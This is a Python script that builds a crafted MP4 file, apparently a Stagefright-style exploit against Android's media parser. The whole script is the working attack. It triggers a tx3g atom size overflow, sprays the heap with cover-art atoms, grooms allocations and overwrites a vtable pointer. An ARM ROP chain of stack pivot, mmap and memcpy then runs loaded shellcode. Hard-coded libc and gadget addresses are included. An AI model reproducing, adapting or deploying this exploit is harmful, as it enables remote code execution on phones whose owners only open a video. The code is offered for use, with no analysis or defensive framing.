import struct


def Trak( Ctnt ):
    l = struct.pack('>I', len(Ctnt)+8)
    return l + "\x74\x72\x61\x6B" + Ctnt

def Stbl( Ctnt ):
    l = struct.pack('>I', len(Ctnt)+8)
    return l + "\x73\x74\x62\x6C" + Ctnt

def Tx3g( Ctnt ):
    l = struct.pack('>I', len(Ctnt)+8)
    return l + "\x74\x78\x33\x67" + Ctnt

def Tx3gOF( Ctnt, OFLen ):
    '''
    Shrink -0x20
    In Android 4.1.2 this is not necessary
        l = "\xff\xff\xff\xe0"
        Will Just Work.
    '''
    l1 = "\x00\x00\x00\x01"
    #l2 = "\xff\xff\xff\xff\xff\xff\xff\xe0"
    l2 = struct.pack('>Q', (-(len(Ctnt)-OFLen))&0xffffffffffffffff)
    return l1 + "\x74\x78\x33\x67" + l2

def Avcc( Ctnt ):
    l = struct.pack('>I', len(Ctnt)+8)
    return l + "\x61\x76\x63\x43" + Ctnt

def Esds( Ctnt ):
    '''
    chunk_data_size - 4 will be malloc-ed
    '''
    l = struct.pack('>I', len(Ctnt)+8+4)
    return l + "esds" + "\x00\x00\x00\x00" + Ctnt

def matchSize( N ):
    """
     while (moreData) {
        if (DataSource->readAt(offset, &data, 1) < 1) {
            return -1;
        }
        offset ++;
        moreData = (data >= 128) ? true : false;
        size = (size << 7) | (data & 0x7f); // Take last 7 bits
        (*numOfBytes) ++;
    }
    """
    r = ""
    flag = 0x80
    # 5 round will generate all the possible size
    for i in range(5)[::-1]:
        shf = 7*i
        if i != 0:
            r += struct.pack("B", (N>>shf)&0x7f|flag)
        else:
            r += struct.pack("B", (N>>shf)&0x7f)
    return r

def Mdat( Ctnt, N, newSINF ):
    """
    N := number of rounds to spray
    """
    dat = "\x01"    # updateIdTag
    if newSINF:
        dat += matchSize(11)    # 0x10, One SINF should be enough
        dat += "\x11"       # descriptorTag
        dat += "\xFF\xDF"   # url flag
        dat += "\xFF\x0F\xFF\xFF"+"\xFF\x0A\xFF\xEE"    # other Tag & ID
        # new SINF
        dat += "\x05"   # IPMP_DESCRIPTOR_UPDATE_ID_TAG
    else:
        dat += matchSize(0)
    # spray
    # size = (Ctnt.len()+3 + 5 + 1)*N
    dat += matchSize( (len(Ctnt)+9)*N )
    subdat  = "\x0B"
    subdat += matchSize(len(Ctnt)+3)
    subdat += "\xFF"    # sinf->IPMPDescriptorID(0xEE) != id(0xFF)
    subdat += "\xFF\xFF"    # Skip 2 byte
    subdat += Ctnt
    dat += subdat*N

    l = struct.pack('>I', len(dat)+8)
    return l + "mdat" + dat

def Covr( Ctnt, N ):
    l = struct.pack('>I', len(Ctnt[:-1])+8)
    return (l + "covr" + Ctnt[:-1])*N

def SampT( Ctnt ):
    Stco = 'stco' + '\x00'*8
    Stco = struct.pack('>I', len(Stco)+4) + Stco
    Stsc = 'stsc' + '\x00'*8
    Stsc = struct.pack('>I', len(Stsc)+4) + Stsc
    Stsz = 'stsz' + '\x00'*12
    Stsz = struct.pack('>I', len(Stsz)+4) + Stsz
    Stts = 'stts' + '\x00'*8
    Stts = struct.pack('>I', len(Stts)+4) + Stts
    return Stbl( Stco + Stsc + Stsz + Stts + Ctnt)

###############
shelladdr = 0x09000000
vTabAddr = 0x4ca99008
## vTabAddr = 0x43c99008 # Test for Non-ASLR
Head = "\x00\x00\x00\x14\x66\x74\x79\x70\x69\x73\x6F\x6D\x00\x00\x00\x01\x69\x73\x6F\x6D"
## libc = 0x40077000 # Test for Non-ASLR
libc = 0x400ec000
memcpy = 0x400fa16c #arm
mmap = 0x4010568f   #thumb
stack_pivot = 0x400f9ba0
pop_pc = 0x4010568c
pop_r0_r1_r2_r3_r5_r7_pc = 0x40120e50
pop_r4_r5_pc = 0x400ff51e
ldr_add_bx = 0x4010e1ee
## .code 16
## LDR.W           LR, [SP+0x10+var_10],#4
## ADD             SP, SP, #0xC
## BX              LR
ldm_pc = 0x400fbfe8
## LDMFD           SP!, {PC}
###############
###############
with open('shell', 'rb') as f:
    shell = f.read()[0x34:0xdc]
###############
EXP = Head
# Heap Spraying
SPRY = '\xCC'*0x1c + struct.pack('<I', stack_pivot)
#SPRY = '\xCC'*0x1c + struct.pack('<I', 0xdeadbeef)
SPRY += 'RR44'
SPRY += 'RR55'

## mmap
SPRY += struct.pack('<I', pop_r0_r1_r2_r3_r5_r7_pc|1)
SPRY += struct.pack('<I', shelladdr)
SPRY += struct.pack('<I', 0x1000)
SPRY += struct.pack('<I', 7)
SPRY += struct.pack('<I', 0x32)
SPRY += 'RR55'
SPRY += 'RR77'
SPRY += struct.pack('<I', mmap)
SPRY += struct.pack('<I', 0xffffffff)   # r4
SPRY += struct.pack('<I', 0)            # r5

## memcpy
SPRY += struct.pack('<I', pop_r0_r1_r2_r3_r5_r7_pc|1)
SPRY += struct.pack('<I', shelladdr)
SPRY += struct.pack('<I', vTabAddr + 0x88 + 8)
SPRY += struct.pack('<I', len(shell))
SPRY += 'RR33'
SPRY += 'RR55'
SPRY += 'RR77'
SPRY += struct.pack('<I', ldr_add_bx|1)   #Convert to Arm
SPRY += struct.pack('<I', ldm_pc)
SPRY += 'PAAD'*3
SPRY += struct.pack('<I', memcpy)

SPRY += struct.pack('<I', shelladdr)    # Arm

SPRY += shell

SPRY += '\xDD'*(0x1000-len(SPRY))
SPRY = SPRY * (0x100000/0x1000 + 0x10) * 0x10
BODY = SampT( Covr(SPRY, 1) )
# Prepare Chunk
BODY +=  Avcc('A'*8)
BODY += Esds('E'*8)
BODY += Covr('C'*0x20, 1)
# Set 'text' size as 0x40
OVERFLOW = '1'*0x20
OVERFLOW += struct.pack('<I',vTabAddr)
OVERFLOW += '0'*0x48
OVERFLOW += 'RR44'
OVERFLOW += 'RR55'
OVERFLOW += 'RR66'
OVERFLOW += 'RR77'
OVERFLOW += 'RR88'
OVERFLOW += 'RR99'
OVERFLOW += 'RR10'
OVERFLOW += 'RR11'
OVERFLOW += 'RR12'
OVERFLOW += struct.pack('<I', vTabAddr+0x20)    #sp
OVERFLOW += struct.pack('<I', pop_r4_r5_pc|1)   #lr
                                                #Convert to Thumb
BODY += Tx3g( OVERFLOW )

# Heap Grooming
BODY += Covr('G'*0x20, 4)
# Resize
BODY += Avcc('A'*0x20)
BODY += Esds('E'*0x20)
# Keep Heap Grooming
BODY += Covr('M'*0x20, 8)
# Free esds
BODY += Esds('E'*0x40)
# Alloc mDatasource
# Free avcc
newSrc  = Avcc('A'*0x40)
newSrc += Tx3gOF( OVERFLOW, 0x18 )
BODY += SampT( newSrc )

# Wrap All in ONE Trak
EXP += Trak( BODY )


with open('exp.mp4', 'wb') as fd:
    fd.write(EXP)

